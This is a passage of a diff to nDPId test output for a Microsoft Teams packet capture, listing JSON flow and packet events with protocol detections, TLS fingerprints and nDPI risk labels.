00543{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2443,"source":"teams.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_src_last_pkt_time":1587041692808980,"flow_dst_last_pkt_time":1587041692808980,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"thread_ts_usec":1587041692808980,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+gHAqAEGp2PXpOyWEVIVrX6QAAAAALAC\/\/9dQAAAAgQFtAEDAwUBAQgKMITWWwAAAAAEAgAA"} 00538{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2444,"source":"teams.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":2,"flow_src_last_pkt_time":1587041692808980,"flow_dst_last_pkt_time":1587041692880898,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"thread_ts_usec":1587041692880898,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADQGBganY9ekwKgBBhFS7JY0lYWJFa1+kaAS\/ohhIwAAAgQFrAQCCAoTeUD2MITWWwEDAwc="} 00526{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2445,"source":"teams.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":3,"flow_src_last_pkt_time":1587041692880999,"flow_dst_last_pkt_time":1587041692880898,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1587041692880999,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+g3AqAEGp2PXpOyWEVIVrX6RNJWFioAQECx9\/QAAAQEICjCE1qITeUD2"} 01237{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2446,"source":"teams.pcap","alias":"nDPId-test","flow_id":61,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1587041692808980,"flow_src_last_pkt_time":1587041692881339,"flow_dst_last_pkt_time":1587041692880898,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":517,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":517,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041692881339,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"167.99.215.164","src_port":60566,"dst_port":4434,"l4_proto":"tcp","ndpi": {"flow_risk": {"5": {"risk":"Known Proto on Non Std Port","severity":"Medium","risk_score": {"total":260,"client":230,"server":30}}},"confidence": {"6":"DPI"},"proto":"TLS.ntop","proto_id":"91.26","encrypted":1,"breed":"Safe","category_id":14,"category":"Network","hostname":"dati.ntop.org","tls": {"version":"TLSv1.2","ja3":"7120d65624bcd2e02ed4b01388d84cdb","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}}} 01295{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":2448,"source":"teams.pcap","alias":"nDPId-test","flow_id":61,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":3,"flow_first_seen":1587041692808980,"flow_src_last_pkt_time":1587041692881339,"flow_dst_last_pkt_time":1587041692953141,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":517,"flow_dst_max_l4_payload_len":152,"flow_src_tot_l4_payload_len":517,"flow_dst_tot_l4_payload_len":152,"midstream":0,"thread_ts_usec":1587041692953141,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"167.99.215.164","src_port":60566,"dst_port":4434,"l4_proto":"tcp","ndpi": {"flow_risk": {"5": {"risk":"Known Proto on Non Std Port","severity":"Medium","risk_score": {"total":260,"client":230,"server":30}}},"confidence": {"6":"DPI"},"proto":"TLS.ntop","proto_id":"91.26","encrypted":1,"breed":"Safe","category_id":14,"category":"Network","hostname":"dati.ntop.org","tls": {"version":"TLSv1.2","ja3":"7120d65624bcd2e02ed4b01388d84cdb","ja3s":"410b9bedaf65dd26c6fe547154d60db4","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}}} -00188{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2463,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041693412749} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":2463,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041693383476,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 00759{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2464,"source":"teams.pcap","alias":"nDPId-test","flow_id":62,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041693428391,"flow_src_last_pkt_time":1587041693428391,"flow_dst_last_pkt_time":1587041693428391,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":977,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":977,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":977,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041693428391,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.136","src_port":51681,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01822{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2464,"source":"teams.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_src_last_pkt_time":1587041693428391,"flow_dst_last_pkt_time":1587041693428391,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1019,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1019,"pkt_l4_len":985,"thread_ts_usec":1587041693428391,"pkt":"EBMx8Tl2KDc3AG3ICABFAAPt48gAAEART4\/AqAEGNHJNiMnhDZYD2eNwBl3+t6o2WT+OKw\/oTFMopoursiGTBsvvLvg3wuBfZT1pBB1vO2396s1T+U1VujmCqj4L5tMtU2F\/1TQzFXSUlw7M8VMfNQQRkYM68GVjRmInITISf9xExqdFNNQs5RQE95Yd7wUQ0WB34xO5EY6WIo8x\/N\/uDXPR3dWPSffY9Pjxt3AuIhSE\/33TPi9IZfwvBkn0Ytl+OD1doGxH0KzkYpDzBS9hB1dBsT+zr8uYQ4OitShMofb6WewMwiNNfNExsV6iWN3hyOrqzEPoHJ8xMa7bW1q9BLkbd5BDoIOv\/MoJUwfM2rHFjSZuGzr\/wQ6fSJlA+ga+XWQ5cCOxemM862mQg5uhFhBag2VuzDKpysLY0ZCqnKz91R2yhrxoXReoN9yIxCUIquc7SAW\/92cRId8y07O6L1X8x\/aDl3FC0Al6caV7h\/r8ddpLTlDH6yLNlYfOWE7QuJLs4lty891N9hHky+P7SbB6VN0+eXLlpdIKbixmAmCZ1p6\/DFecrkQrfBusU7fCQ0m5UtC7A9xyYw8qrbidfp8KJduef6Xu3BA4D0YD6FFqNyrfEvkjpJ+3rNXlm\/vqN6+pA7Pyjrxbc8hNlLHZHBWyirKyjtN28dUXzlP+LsRPGNdQvqJFK3pV96V25LmYF5yiAGBc2dVjL3CV3I8BZIc1iv9PSXq8u5cmF3NAvFW+ejj0aUJys0KqSuB+SsBchm0XJNdD1T31o3cnzHzdRkPqsYgQxN+TMH4xz2ipnYwRm5mpiVbDbtght4DZhZkINSjZm+P+w6KJ1sJkRZyTcItShxjipY0pc0YcI\/iPO8Kihnfm0h7aZYr8JbNTXfrRfggxMyqgTWxlobhHKsiboGB5nz9mqNXgN5f2w6aCT8Ygr4J\/d\/M8CNiCRT+CKMTqRpDBqIcnsL3KBgSmI2li51fHmCYLknW2Aw3F82bIDyzOvtteFfeZxum8+GIS5JvJh64JDL9hUaT9FEJ6txlWLszG+bg1use4IiVMiF2jfKWFA1eFZRDjiQXrMStv0vPT1Ma73OvVsZAHSptss39ti+ltbCNxC0S+MDiB1jQrFVUZ5nHLM44PsanYQ\/0cpyVO6zbbzjzXTUfs+tAIMkUNPFZtCs1rFpKhkI3NcGs+yvSb4SV1GxhoDHVRpRNuKqFbFinCHp\/37lAaE9HGUTnfhxGhnCIfOfHIUUAT3eHul9H3b0Z8OnLYIK1ZDLQGkd0pzOUxUVHtQtXMulhXsHz7fr\/A21yG\/8b8NgTEX+gU6e+h1l0XisCpHYMfVCMz3mHn3ia\/HdLRjG51YnI="} 00544{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2480,"source":"teams.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":2,"flow_src_last_pkt_time":1587041693428391,"flow_dst_last_pkt_time":1587041693474528,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"thread_ts_usec":1587041693474528,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBNJIAAGwR1nE0ck2IwKgBBg2WyeEALeCzAzNiZmY2YTE1LTY4NDEtNDYwNy04YzI3LTllY2ViOWVlZDkzYg=="} @@ -438,8 +406,6 @@ 00787{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2494,"source":"teams.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_src_last_pkt_time":1587041693597783,"flow_dst_last_pkt_time":1587041693597783,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":256,"pkt_l4_len":222,"thread_ts_usec":1587041693597783,"pkt":"EBMx8Tl2KDc3AG3ICABFAADyLLYAAEARXJfAqAEGNHL6jcNgDZYA3iTJAAMAwiESpEIiL+\/H85JL0bmXJ+QADwAEcsZLxoA3AAQAAAACgAgABAAAAAaABgAEAAAAAQAQAAQAAC7ggFUABAACAAKAlQAIfyDE3U+EjfoAFAAUAk7L+IJ6YNZTBt6\/p32H0UQC3V0AFQAKInJ0Y21lZGlhIgAGADgCAAAkkKDb2wHWGU3iFTe\/yZKgAzJzGvG+3Faa6DvVqwAAAAC\/cbJ2yXgTqN3v61y8eTonekzmPAAIACB+ROZSH0cQpVQPYpCmfWn5X6jy8HHHqFihd3XDn9tzDQ=="} 00952{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2494,"source":"teams.pcap","alias":"nDPId-test","flow_id":68,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041693597783,"flow_src_last_pkt_time":1587041693597783,"flow_dst_last_pkt_time":1587041693597783,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":214,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":214,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":214,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041693597783,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.141","src_port":50016,"dst_port":3478,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"STUN.Teams","proto_id":"78.250","encrypted":0,"breed":"Safe","category_id":10,"category":"VoIP","hostname":"","stun": {"num_pkts":0,"num_binding_requests":0,"num_processed_pkts":0}}} 01197{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":2495,"source":"teams.pcap","alias":"nDPId-test","flow_id":64,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":2,"flow_first_seen":1587041693516414,"flow_src_last_pkt_time":1587041693561676,"flow_dst_last_pkt_time":1587041693608822,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":187,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":187,"flow_dst_tot_l4_payload_len":1452,"midstream":0,"thread_ts_usec":1587041693608822,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.123","src_port":50018,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative","hostname":"euaz.tr.teams.microsoft.com","tls": {"version":"TLSv1.2","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2510,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041693611228} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2510,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041693609281,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00757{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2511,"source":"teams.pcap","alias":"nDPId-test","flow_id":69,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041693611913,"flow_src_last_pkt_time":1587041693611913,"flow_dst_last_pkt_time":1587041693611913,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":68,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041693611913,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.141","src_port":50017,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00586{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2511,"source":"teams.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_src_last_pkt_time":1587041693611913,"flow_dst_last_pkt_time":1587041693611913,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"thread_ts_usec":1587041693611913,"pkt":"EBMx8Tl2KDc3AG3ICABFAABgfyMAAEARCrzAqAEGNHL6jcNhDZYATBjuAAMAMCESpELalY8VcoE3uJ+0vVMADwAEcsZLxoA3AAQAAAACgAgABAAAAAaABgAEAAAAAQAQAAQAAC7ggFUABAACAAI="} 00949{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2511,"source":"teams.pcap","alias":"nDPId-test","flow_id":69,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041693611913,"flow_src_last_pkt_time":1587041693611913,"flow_dst_last_pkt_time":1587041693611913,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":68,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":68,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":68,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041693611913,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.141","src_port":50017,"dst_port":3478,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"STUN.Teams","proto_id":"78.250","encrypted":0,"breed":"Safe","category_id":10,"category":"VoIP","hostname":"","stun": {"num_pkts":1,"num_binding_requests":0,"num_processed_pkts":0}}} @@ -483,8 +449,6 @@ 00510{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2638,"source":"teams.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":3,"flow_src_last_pkt_time":1587041694262870,"flow_dst_last_pkt_time":1587041694262764,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1587041694262870,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG9yfAqAEGNHJNiOyXAbs8mpancOM\/AVAQIADasgAA"} 01190{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2639,"source":"teams.pcap","alias":"nDPId-test","flow_id":74,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1587041694219802,"flow_src_last_pkt_time":1587041694263191,"flow_dst_last_pkt_time":1587041694262764,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":195,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":195,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041694263191,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.136","src_port":60567,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative","hostname":"api.flightproxy.teams.microsoft.com","tls": {"version":"TLSv1.2","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 01204{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":2641,"source":"teams.pcap","alias":"nDPId-test","flow_id":74,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":2,"flow_first_seen":1587041694219802,"flow_src_last_pkt_time":1587041694263191,"flow_dst_last_pkt_time":1587041694308351,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":195,"flow_dst_max_l4_payload_len":1452,"flow_src_tot_l4_payload_len":195,"flow_dst_tot_l4_payload_len":1452,"midstream":0,"thread_ts_usec":1587041694308351,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.136","src_port":60567,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Teams","proto_id":"91.250","encrypted":1,"breed":"Safe","category_id":15,"category":"Collaborative","hostname":"api.flightproxy.teams.microsoft.com","tls": {"version":"TLSv1.2","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} -00185{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2658,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041694611281} -00350{"packet_event_id":1,"packet_event_name":"packet","packet_id":2658,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041694571700,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00758{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2665,"source":"teams.pcap","alias":"nDPId-test","flow_id":76,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041695278787,"flow_src_last_pkt_time":1587041695278787,"flow_dst_last_pkt_time":1587041695278787,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":112,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":112,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":112,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041695278787,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.0.4","src_port":50016,"dst_port":50005,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00650{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2665,"source":"teams.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_src_last_pkt_time":1587041695278787,"flow_dst_last_pkt_time":1587041695278787,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"thread_ts_usec":1587041695278787,"pkt":"EBMx8Tl2KDc3AG3ICABFAACMhisAAEARcdvAqAEGwKgABMNgw1UAeNtRAAEAXCESpELGQpqANK6irJWNCoEABgAJbzUvSTpGWTMyAAAAgCoACAAAf4pShlgAgHAABAAAAAeANgAEAAAAAQAkAARu\/\/7\/gDcABAAAAAIACAAUNaR7w6XgHLmtRZxpBWKVkGuwhq2AKAAE+3W4lQ=="} 01082{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2665,"source":"teams.pcap","alias":"nDPId-test","flow_id":76,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041695278787,"flow_src_last_pkt_time":1587041695278787,"flow_dst_last_pkt_time":1587041695278787,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":112,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":112,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":112,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041695278787,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.0.4","src_port":50016,"dst_port":50005,"l4_proto":"udp","ndpi": {"flow_risk": {"5": {"risk":"Known Proto on Non Std Port","severity":"Medium","risk_score": {"total":260,"client":230,"server":30}}},"confidence": {"6":"DPI"},"proto":"STUN.Teams","proto_id":"78.250","encrypted":0,"breed":"Safe","category_id":10,"category":"VoIP","hostname":"","stun": {"num_pkts":0,"num_binding_requests":0,"num_processed_pkts":0}}} @@ -505,8 +469,6 @@ 00864{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2675,"source":"teams.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":2,"flow_src_last_pkt_time":1587041695381585,"flow_dst_last_pkt_time":1587041693654732,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":314,"pkt_l4_len":280,"thread_ts_usec":1587041695381585,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEsXTYAAEARK+HAqAEGNHL6icN0DZYBGMK2AAQA\/CESpEIeamDBSEqcaMKGtFYADwAEcsZLxoAIAAQAAAAGAAYAOAIAACSQoNvbAdYZTeIVN7\/JkqADMnMa8b7cVproO9WrAAAAAL9xsnbJeBOo3e\/rXLx5Oid6TOY8ABEACAABP81dR27NABMAfAABAGghEqRCa6gY9jQ3F4QYLRqEAAYACUpGd2o6K21JdgAAAIAqAAgAAH+KUoZYAIBwAAQAAAAHgDYABAAAAAEAJAAEbv\/4\/4CVAAhb5VsGDC2J+oA3AAQAAAACAAgAFGPigS6EUGSGggUbRbFSk1APqJ0agCgABKpfQ2cACAAguGTqGqFZLfExfohAPRW3NYW9D0LDg15vdpj82BiyuIs="} 00708{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2677,"source":"teams.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":3,"flow_src_last_pkt_time":1587041695381451,"flow_dst_last_pkt_time":1587041695389155,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"thread_ts_usec":1587041695389155,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC4fJgAAGwR4O40cvqNwKgBBg2Ww2AApNd+ARUAiMLWdk9T8dgTMFhVlH2+EmsADwAEcsZLxgASAAgAAT\/MXUduzQATAHAAAQBcIRKkQpOT7iqoT5owckEG1gAGAAlGWTMyOm81L0kAAACAKQAIAAB\/7V4FjgCAcAAEAAAAB4A2AAQAAAABACQABG7\/\/f6ANwAEAAAAAgAIABQwsyB\/3AcVNGFmgIYtfHOO0Vm54oAoAAR90b9H"} 00709{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2678,"source":"teams.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":3,"flow_src_last_pkt_time":1587041695381585,"flow_dst_last_pkt_time":1587041695389378,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"thread_ts_usec":1587041695389378,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC4VxkAAGwRBnI0cvqJwKgBBg2Ww3QApCdjARUAiE\/LrilDXPJWtp6yDikzcPIADwAEcsZLxgASAAgAAT\/NXUduzQATAHAAAQBcIRKkQlPk9TFAsI2GK+OZoAAGAAkrbUl2OkpGd2oAAACAKQAIAAB\/7V4FjgCAcAAEAAAAB4A2AAQAAAABACQABG7\/\/f6ANwAEAAAAAgAIABQqoNaJl5j6Qph3wmShySpejyG1ZYAoAAR\/OzfK"} -00188{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2681,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041695413161} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":2681,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041695407379,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 00759{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2682,"source":"teams.pcap","alias":"nDPId-test","flow_id":80,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041695421892,"flow_src_last_pkt_time":1587041695421892,"flow_dst_last_pkt_time":1587041695421892,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":124,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":124,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":124,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041695421892,"l3_proto":"ip4","src_ip":"52.114.252.21","dst_ip":"192.168.1.6","src_port":3480,"dst_port":50036,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00665{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2682,"source":"teams.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_src_last_pkt_time":1587041695421892,"flow_dst_last_pkt_time":1587041695421892,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"thread_ts_usec":1587041695421892,"pkt":"KDc3AG3IEBMx8Tl2CABFAACYUPwAAGwRCyM0cvwVwKgBBg2Yw3QAhCaSAAEAaCESpEK59F1PLtIJs2rQCYoABgAJK21JdjpKRndqAAAAgCkACAAAf+1eBY4AgHAABAAAAAeANgAEAAAAAQAkAARu\/\/n+gJUACGUfNM4ueRX8gDcABAAAAAIACAAUDNg3puCxSSnyiCvs+zLb4wfWy9WAKAAEDuovdw=="} 